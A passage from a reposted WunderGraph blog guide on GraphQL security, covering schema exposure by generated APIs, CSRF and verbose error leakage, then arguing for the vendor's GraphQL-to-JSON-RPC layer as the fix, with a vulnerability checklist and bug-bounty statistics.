			There are a number of services and tools like e.g. <a href="https://www.graphile.org/postgraphile/" rel="external nofollow">Postgraphile </a> or <a href="https://hasura.io/" rel="external nofollow">Hasura </a> that Generate APIs from a database schema. The promise is simple, point the tool at the Database, and you'll get a fully functional GraphQL Server.
		</p>

		<p>
			As we've previously discussed, it's not easy and sometimes impossible (so far) to fully disable introspection at runtime.
		</p>

		<p>
			Generated GraphQL APIs usually follow a common structure to generate their CRUD resolvers. This means, it's quite easy to spot if we're dealing with a custom-made use-case driven API or a generated API. Why is this an issue?
		</p>

		<p>
			If we're not able to disable introspection we're leaking information of our complete database schema to the public. It's already a questionable approach if you want to have tight coupling between client and server, which is the case if we're generating the API from the database schema. That being said, in terms of security, this means we're exposing our whole Database schema to the public.
		</p>

		<p>
			By exposing your Database schema to the public, you're giving attackers a lot of information to find vulnerabilities, try SQL injections, etc...
		</p>

		<p>
			I know it's a repetitive schema but we're also going to address this issue at the end.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#12.-graphql-csrf-vulnerability" rel="external nofollow">12. GraphQL CSRF Vulnerability</a>

		<p>
			This issue is not directly a GraphQL vulnerability but a general threat for HTTP-based applications with Cookie- or Session-based authentication mechanisms.
		</p>

		<p>
			If you're using frameworks like NextJS, Cookie-based auth is quite common (and convenient) so it's worth covering as well.
		</p>

		<p>
			Imagine, we're building an app that allows users to send money to other users. A mutation to send money could look like this:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											mutation SendMoney {
										</div>

										<div>
											sendMoney(to: "123" amount: 10 currency: EURO){
										</div>

										<div>
											success
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			What can go wrong?
		</p>

		<p>
			If we're building a Single Page Application (SPA) on app.example.com with an API on a different domain (api.example.com), the first thing you'd have to do to make this setup working is to configure CORS. Make sure to only allow your SPA domain and don't use wildcards!
		</p>

		<p>
			The next thing that could go wrong is to properly configure the SameSite properties for the API domain, the one setting the Cookies. You'd want to use SameSite lax or strict, depending on the user experience. For Queries, it could make sense to use lax, which means we're able to use Queries from a trusted domain, e.g. a different subdomain. For Mutations, strict would definitely be the best option as we only want to accept those from the origin. SameSite none would allow any website to make requests to our API domain, independent of their origin.
		</p>

		<p>
			If you combine a bad CORS configuration with the wrong SameSite Cookie settings, you're in trouble.
		</p>

		<p>
			Finally, attackers could find a way to construct a link to our website that leads already authenticated users to make a transaction that they don't really want to do. To protect against this issue, you should add a CSRF middleware around mutations. WunderGraph <a href="https://wundergraph.com/docs/overview/features/csrf_protection" rel="external nofollow">does this out of the box</a>. For each mutation endpoint, we configure a CSRF middleware. Additionally, we generate our clients in a way so that they automatically handle CSRF. As a developer using WunderGraph, you don't have to do anything.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#13.-graphql-excessive-errors-vulnerability" rel="external nofollow">13. GraphQL Excessive Errors Vulnerability</a>

		<p>
			This is another common issue with GraphQL APIs. GraphQL has a <a href="https://spec.graphql.org/June2018/#sec-Errors" rel="external nofollow">nice and expressive way of returning errors </a>. However, some frameworks are by default just a bit too informative.
		</p>

		<p>
			Here's an example of a response from an API that is automatically generated on top of a database:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>

							<div>
								11
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											{
										</div>

										<div>
											"errors": [
										</div>

										<div>
											{
										</div>

										<div>
											"extensions": {
										</div>

										<div>
											"path": "$.selectionSet.insert_user.args.objects",
										</div>

										<div>
											"code": "constraint-violation"
										</div>

										<div>
											},
										</div>

										<div>
											"message": "Uniqueness violation. duplicate key value violates unique constraint \"auser_authprovider_id_key\""
										</div>

										<div>
											}
										</div>

										<div>
											]
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<p>
			This error message is quite expressive, it seems like it's coming from a SQL database and it's about a violation of a unique key constraint.
		</p>

		<p>
			While helpful to the developer of the application, it's actually giving way too much information to the API consumer.
		</p>

		<p>
			This message could be written to the logs if any. It seems like an app user is trying to create content with an ID that already existed.
		</p>

		<p>
			In a properly designed GraphQL API, this actually doesn't have to be an error at all. A better way to design this API would be to return a union that covers all possible cases, like e.g. success, conflict, etc... But that's just a general problem with generated APIs.
		</p>

		<p>
			In any case, if generated or not, There should always be a middleware at the very top of your HTTP Server that catches verbose errors like this and removes them from the reponse. If possible, don't just use the generic "errors" response object. Instead, make use of the expressive type system and define types for all possible outcomes of an operation.
		</p>

		<p>
			REST APIs have a rich system of HTTP status codes to indicate the result of an operation. GraphQL allows you to use Interface and Union type definitions so that API consumers can easily handle API responses. It's very hard to programmatically analyze an error message. It's just a string which could change any time.
		</p>

		<p>
			By creating Union and Interface types for responses, you can cover all outcomes of an operation explicitly. An API consumer is then able to switch case over the __typename field and properly handle the "known error".
		</p>

		<h2>
			 
		</h2>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#summary-&amp;-vulnerability-checklist" rel="external nofollow">Summary &amp; Vulnerability Checklist</a>

		<p>
			Another long blog post comes to an end. Let's recap! We've covered 13 of the most common GraphQL vulnerabilities.
		</p>

		<p>
			Here's a Checklist if you want to go through all of them.
		</p>

		<ul>
			<li>
				Parsing Vulnerabilities
			</li>
			<li>
				Normalization Issues
			</li>
			<li>
				Operation Validation Errors
			</li>
			<li>
				Denial of Service Attacks
			</li>
			<li>
				GraphQL SQL Injections
			</li>
			<li>
				Authentication Vulnerabilities
			</li>
			<li>
				GraphQL Authorization Traversal Attacks
			</li>
			<li>
				Relay Global Object Identification Vulnerability
			</li>
			<li>
				GraphQL Gateway / Proxying Vulnerability
			</li>
			<li>
				GraphQL Introspection Vulnerability
			</li>
			<li>
				Generated GraphQL APIs Vulnerability
			</li>
			<li>
				GraphQL CSRF Vulnerability
			</li>
			<li>
				GraphQL Excessive Errors Vulnerability
			</li>
		</ul>

		<p>
			That's a lot of issues to solve before going to production. Please don't take this lightly. If you <a href="https://hackerone.com/hacktivity?querystring=graphql" rel="external nofollow">look at HackerOne </a>, you can see the issue is real.
		</p>

		<p>
			So, we want to get the benefits of GraphQL, but going through this whole list is just way too much work. Is there a better way of doing GraphQL? Is there a way of doing GraphQL differently so that we're not affected by all the issues.
		</p>

		<p>
			The answer to this question is Yes! All you have to do is to adjust your view on GraphQL.
		</p>

		<h2>
			 
		</h2>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-the-13-most-common-graphql-vulnerabilities-for-private-apis" rel="external nofollow">Solving the 13 most common GraphQL Vulnerabilities for private APIs</a>

		<p>
			Most of us are using GraphQL APIs internally. This means, the developers who use the GraphQL API are in the same organization as the people who provide the API. Additionally, I'm assuming that we're not changing our GraphQL Operations at runtime.
		</p>

		<p>
			All this boils down to the root cause of the problem.
		</p>

		<blockquote>
			<p>
				Allowing API clients to send GraphQL Operations over HTTP is the root cause of all evil.
			</p>
		</blockquote>

		<p>
			All this is completely avoidable, adds no value and only creates harm. It's absolutely fine to allow developers within a secured environment to send arbitrary GraphQL Operations. However, most apps don't change their GraphQL Operations in production, so why allow it at all?
		</p>

		<p>
			Let's have a look at the Architecture you're most familiar with.
		</p>

		<div>
			<div>
				<img alt="GraphQL network flow" srcset="/_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=640&amp;q=75 640w, /_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=750&amp;q=75 750w, /_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=828&amp;q=75 828w, /_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=1080&amp;q=75 1080w, /_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=1200&amp;q=75 1200w, /_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=1920&amp;q=75 1920w, /_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=2048&amp;q=75 2048w, /_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=3840&amp;q=75 3840w" src="https://wundergraph.com/_next/image?url=%2Fimages%2Fgraphql_network_flow.png&amp;w=3840&amp;q=75" />
			</div>
		</div>

		<p>
			A GraphQL client talks GraphQL to a GraphQL Server.
		</p>

		<p>
			Now, let's make a small change to the architecture to fix all 13 problems.
		</p>

		<div>
			<div>
				<img alt="WunderGraph network flow" srcset="/_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=640&amp;q=75 640w, /_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=750&amp;q=75 750w, /_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=828&amp;q=75 828w, /_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=1080&amp;q=75 1080w, /_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=1200&amp;q=75 1200w, /_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=1920&amp;q=75 1920w, /_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=2048&amp;q=75 2048w, /_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=3840&amp;q=75 3840w" src="https://wundergraph.com/_next/image?url=%2Fimages%2Fwundergraph_network_flow.png&amp;w=3840&amp;q=75" />
			</div>
		</div>

		<p>
			Instead of talking GraphQL between Client and Server, we're talking RPC, JSON-RPC more specifically. The Server then handles Authentication, Authorization, Caching, etc... for us and forwards Requests to the origin servers.
		</p>

		<p>
			We haven't invented this though. It's not something new. Companies like Facebook, Medium, Twitter, and others are doing it.
		</p>

		<p>
			What we've done is not just make it possible and fix the problems listed above. We've created an easy-to-use developer experience. We've assembled everything in one place. You don't have to install numerous dependencies.
		</p>

		<p>
			Let's break down the solution a bit more, so you can fully understand how we're able to solve all the vulnerabilities.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-vulnerabilities-related-to-parsing,-normalizing-and-validating-graphql-operations" rel="external nofollow">Solving Vulnerabilities related to Parsing, Normalizing and Validating GraphQL Operations</a>

		<p>
			The most secure code is the code that doesn't have to run at all. Every code has bugs. To fix bugs, we have to write more code, which means, we're introducing even more bugs.
		</p>

		<p>
			So, how can we replace GraphQL with RPC over the wire?
		</p>

		<p>
			During development, the developers define all Operations that are required for the Application. At the time when the app is ready to be deployed, we'll parse, normalize and validate all Operations. We'll then generate JSON-RPC Endpoints for each Operation.
		</p>

		<p>
			As mentioned, we've normalized the Operations. This allows us to treat all inputs (the variables) like a JSON object. We can then parse the variable types and get a JSON Schema for the input. Additionally, we can parse the response schema of the GraphQL Query. This gives us a second JSON Schema. These two will be quite handy later.
		</p>

		<p>
			By doing all this, it's happening automatically, we'll get two things:
		</p>

		<ol>
			<li>
				A number of JSON-RPC Endpoints
			</li>
			<li>
				JSON Schema definitions for the inputs and response objects of all Endpoints
			</li>
		</ol>

		<p>
			By doing this at "deployment time", we don't have to do it during the execution again. We're able to "pre-compile" an execution tree. All that's left at runtime is to inject the variables and execute the tree.
		</p>

		<p>
			We've borrowed this idea from SQL Database Systems, it's quite similar to "Prepared Statements".
		</p>

		<p>
			Ok, this means we've solved three problems.
		</p>

		<p>
			Unfortunately, we've also introduced a new problem! There are no easy to use clients that could make use of our JSON-RPC API.
		</p>

		<p>
			Luckily, we've extracted two JSON-Schemas per Endpoint. If we feed those into a code-generator, we're able to generate fully type-safe clients in any language.
		</p>

		<p>
			These clients are not only very small, but also super efficient as they don't have to do much.
		</p>

		<p>
			So, in the end, we've not only solved three problems but also made our application more performant.
		</p>

		<p>
			As another side effect, you're also able to <a href="https://github.com/rjsf-team/react-jsonschema-form" rel="external nofollow">generate forms </a> from these JSON Schema definitions. It's fully integrated into WunderGraph.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-graphql-denial-of-service-attacks" rel="external nofollow">Solving GraphQL Denial of Service Attacks</a>

		<p>
			Most GraphQL DOS vulnerabilities come from the fact that attackers can easily create complex nested Queries that ask for too much data.
		</p>

		<p>
			As we've discussed above, we've just replaced GraphQL with RPC. This means, no dynamic GraphQL Operations. For each operation, we're able to configure a specific rate limit or quote. We can then rate limit our users easily, just like we did it with REST APIs.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-graphql-sql-injections" rel="external nofollow">Solving GraphQL SQL Injections</a>

		<p>
			We've extracted a JSON Schema for each RPC Endpoint. This JSON Schema can be adjusted to your desire to allow you to validate all inputs. <a href="https://wundergraph.com/docs/reference/directives/json_schema_directive" rel="external nofollow">Have a look at our documentation</a> and how you can use the @jsonSchema directive to configure the JSON Schema for each Operation.
		</p>

		<p>
			Here's an example of how to apply a Regex pattern for a message input:
		</p>

		<div>
			<div dir="ltr">
				<div>
					<div>
						<div>
							 
						</div>
					</div>

					<div>
						
					</div>
				</div>

				<div>
					<div>
						<div>
							<div>
								1
							</div>

							<div>
								2
							</div>

							<div>
								3
							</div>

							<div>
								4
							</div>

							<div>
								5
							</div>

							<div>
								6
							</div>

							<div>
								7
							</div>

							<div>
								8
							</div>

							<div>
								9
							</div>

							<div>
								10
							</div>
						</div>

						<div dir="ltr">
							<div>
								<div>
									<div>
										<pre>
 </pre>

										<div>
											mutation (
										</div>

										<div>
											$message: String! @jsonSchema(
										</div>

										<div>
											pattern: "^[a-zA-Z 0-9]+$"
										</div>

										<div>
											)
										</div>

										<div>
											){
										</div>

										<div>
											createPost(message: $message){
										</div>

										<div>
											id
										</div>

										<div>
											message
										</div>

										<div>
											}
										</div>

										<div>
											}
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-graphql-authentication-vulnerabilities" rel="external nofollow">Solving GraphQL Authentication Vulnerabilities</a>

		<p>
			The issue with Authentication was that you have to make sure that every possible Query path is covered by an authentication Middleware.
		</p>

		<p>
			Introducing the RPC layer locks down all possible Query paths by default. Additionally, you're able to <a href="https://wundergraph.com/docs/reference/wundergraph_config_ts/configure_operations" rel="external nofollow">lock down all Operations</a> behind an authentication middleware by default. If you want to expose an Operation to the public, you have to do so explicitly.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-graphql-authorization-traversal-attack-vulnerabilities" rel="external nofollow">Solving GraphQL Authorization Traversal Attack Vulnerabilities</a>

		<p>
			From an attackers' perspective, traversal attacks are only possible if there's something they can "traverse". By protecting the GraphQL layer with the RPC layer, this feature is removed from the public facing API. The biggest threat is now the developer itself, as they could accidentally expose too much data.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-the-relay-object-identification-vulnerability" rel="external nofollow">Solving the Relay Object Identification Vulnerability</a>

		<p>
			Recalling the issue from above, the problem with the Relay spec comes from two angles. One is incomplete Authentication protection, the other one is protecting edges when protecting nodes would be the correct way to do it.
		</p>

		<p>
			The Relay specification allowed you to query any Node with the globally unique object identifier. This gives developers (and the Relay client) a powerful tool but is also another issue to solve.
		</p>

		<p>
			You might see some repetitiveness here, but the Relay Vulnerability is also covered by the RPC facade.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-graphql-gateway-/-proxying-vulnerabilities" rel="external nofollow">Solving GraphQL Gateway / Proxying Vulnerabilities</a>

		<p>
			This is one of the more complicated issues to solve. If we're using user inputs as variables for sub-requests, we have to make sure that these variables are exactly what we expect and not trying to exploit an underlying system.
		</p>

		<p>
			To help mitigate these issues, we've made it very easy to <a href="http://localhost:3002/docs/reference/directives/json_schema_directive" rel="external nofollow">define a JSON Schema definition for variables </a>. This way, you're able to define a Regex pattern or other rules to verify the inputs before injecting them into subsequent requests, database Queries, etc...
		</p>

		<p>
			The type system of GraphQL is absolutely great and very helpful, especially for making the lives of API consumers easier. However, when it comes to interpreting a GraphQL request, there are still a few gaps that we're trying to fix.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-the-graphql-introspection-vulnerability" rel="external nofollow">Solving the GraphQL introspection Vulnerability</a>

		<p>
			As we've seen in the description of the issue, disabling GraphQL introspection might not be as easy as it seems, depending on the framework you're using.
		</p>

		<p>
			That said, Introspection is relying on the GraphQL layer. If you look at how Introspection works, it's just another GraphQL Query, even if it's a special one, with quite a lot of nesting.
		</p>

		<p>
			Should I repeat myself again and tell you that by not exposing GraphQL, you're affected by this issue anymore?
		</p>

		<p>
			Keep in mind that we're still allowing Introspection during development. Tools like GraphiQL will keep working, just not in production, or at least not with a special authentication token.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-the-generated-graphql-apis-vulnerability" rel="external nofollow">Solving the Generated GraphQL APIs Vulnerability</a>

		<p>
			If the GraphQL API is a 1:1 copy of your database schema, you're exposing internals of your architecture via GraphQL Introspection. But then again, we've already solved this issue.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-the-graphql-csrf-vulnerability" rel="external nofollow">Solving the GraphQL CSRF Vulnerability</a>

		<p>
			The way to mitigate this issue is by properly configuring CORS and SameSite settings on your API. Then, add a CSRF middleware to the API layer. This adds an encrypted CSRF cookie on a per user basis. Once the user is logged in, hand them over their csrf token. Finally, if the user wants to invoke a mutation, they must present their CSRF token in a special header which can then be validated by the CSRF Middleware. If there's anything going wrong, or the user logs out, delete the CSRF cookie to block all mutations until there's a valid user session again.
		</p>

		<p>
			All this might sound a bit complicated, especially the interaction between client and server, sending CSRF tokens and Headers back and forth.
		</p>

		<p>
			That's why we've added all this to WunderGraph by default. All mutations are automatically protected. On the server-side, we've go all the middlewares in place. The client is auto-generated, so it knows exactly how to deal with the CSRF tokens and Headers.
		</p>

		<h3>
			 
		</h3>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-the-graphql-excessive-errors-vulnerability" rel="external nofollow">Solving the GraphQL Excessive Errors Vulnerability</a>

		<p>
			This issue is probably one of the bigger threats while easy to fix. After resolving an Operation, right before sending back the response to the client, make sure to strip out all sensitive information from the errors object.
		</p>

		<p>
			This is especially important if you're proxying to other services. Don't just pipe through everything you've got from the upstream. If you're calling into a REST API and the response code is non 200, don't just return the response as a generic error object.
		</p>

		<p>
			Additionally, think about your API as a product. What should the user experience of you "product" look like in case of an error? Help your users understand the error and what they can do about it, at least for "known good errors". In case of "bad errors", those unexpected ones, don't be too specific to your users, they might not be friendly.
		</p>

		<h2>
			 
		</h2>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#solving-the-13-most-common-graphql-vulnerabilities-for-public-apis" rel="external nofollow">Solving the 13 most common GraphQL Vulnerabilities for public APIs</a>

		<p>
			Alright, you've seen that by changing our architecture and evolving our understanding of GraphQL, we're able to mitigate almost all of the issues that are coming from GraphQL itself. What's left is the biggest vulnerability of all systems, the people who build them, us, the developers!
		</p>

		<blockquote>
			<p>
				If the process of debugging means, we're removing bugs, what should we call it when we write code?
			</p>
		</blockquote>

		<p>
			Okay, we're almost done. We've left out one small group of APIs. We've been talking about private APIs for almost the entire article, but we did it for a good reason, probably 99% of the APIs are private.
		</p>

		<p>
			But what about parter and public APIs? What if we don't want to put an RPC layer in front of our API? What if we want to directly expose GraphQL to our API consumers?
		</p>

		<p>
			Companies like Shopify and GitHub are doing this. What can we learn from them?
		</p>

		<p>
			Shopify <a href="https://hackerone.com/shopify?type=team" rel="external nofollow">currently has 1273 reports solved </a>. They've paid in bounties $1.656.873 to hackers with a range of $500-$50.000 per bounty.
		</p>

		<p>
			Twitter resolved a total of <a href="https://hackerone.com/twitter?type=team" rel="external nofollow">1364 </a> issues with a total of $1.424.389.
		</p>

		<p>
			Snapchat only paid out <a href="https://hackerone.com/snapchat?type=team" rel="external nofollow">$439.067 </a> with 389 reports resolved.
		</p>

		<p>
			GitLab paid an astounding <a href="https://hackerone.com/gitlab?type=team" rel="external nofollow">$1.743.639 </a> with a total of 845 issues resolved.
		</p>

		<p>
			These bounties are not just related to GraphQL, but all the companies listed above can be found on the list of reported GraphQL issues.
		</p>

		<p>
			There's a <a href="https://hackerone.com/hacktivity?querystring=graphql&amp;filter=type:all&amp;order_direction=DESC&amp;order_field=popular&amp;followed_only=false&amp;collaboration_only=false" rel="external nofollow">total of 70 reports </a> on GraphQL with lot's of bounties paid out. If you search on other bug bounty websites, you'll probably find more.
		</p>

		<p>
			Companies like GitHub have people who build specialized infrastructure to better understand how their GraphQL API is being used. I was pleased to meet the amazing Claire Knight and <a href="https://www.youtube.com/watch?v=YNTRfzmaQmk&amp;list=PLpi1lPB6opQyraZSmwFre_FpL00_3nTzV&amp;index=50" rel="external nofollow">listen to her talk </a> on the last GraphQL Summit, it's been quite some time...
		</p>

		<p>
			I've presented you all this data to be able to make two points.
		</p>

		<p>
			First, do you really need to expose your GraphQL API? If not, excellent! You're able to apply all the solutions from this article.
		</p>

		<p>
			If, by all means, you absolutely want to expose a GraphQL API, make sure you have the expertise it takes to do so. You should have security experts in house or at least hire them, you should be doing regular audits and do pen-testing. Don't take this easy!
		</p>

		<h2>
			 
		</h2>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#let's-talk-apis-and-security!" rel="external nofollow">Let's talk APIs and Security!</a>

		<p>
			Do you have questions or want to discuss APIs, GraphQL and Security? <a href="https://wundergraph.com/discord" rel="external nofollow">Meet us on Discord </a>
		</p>

		<p>
			We're also happy to jump on a call with you and give you a Demo. <a href="https://wundergraph.com/demo" rel="external nofollow">Book now a free meeting! </a>
		</p>

		<h2>
			 
		</h2>

		<div>
			 
		</div>
		<a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready#try-it-out-yourself!" rel="external nofollow">Try it out yourself!</a>

		<p>
			Are you interested in how the GraphQL-to-RPC concept works in reality? Have a look at our <a href="https://wundergraph.com/docs/guides/getting_started/quickstart?utm_source=security-guide" rel="external nofollow">one minute Quickstart</a> and try out the concepts discussed in this article.
		</p>

		<p>
			 
		</p>

		<p>
			Sursa: <a href="https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready" rel="external nofollow">https://wundergraph.com/blog/the_complete_graphql_security_guide_fixing_the_13_most_common_graphql_vulnerabilities_to_make_your_api_production_ready</a>
		</p>
	
</div>
]]></description><guid isPermaLink="false">115995</guid><pubDate>Mon, 14 Nov 2022 20:27:17 +0000</pubDate></item></channel></rss>
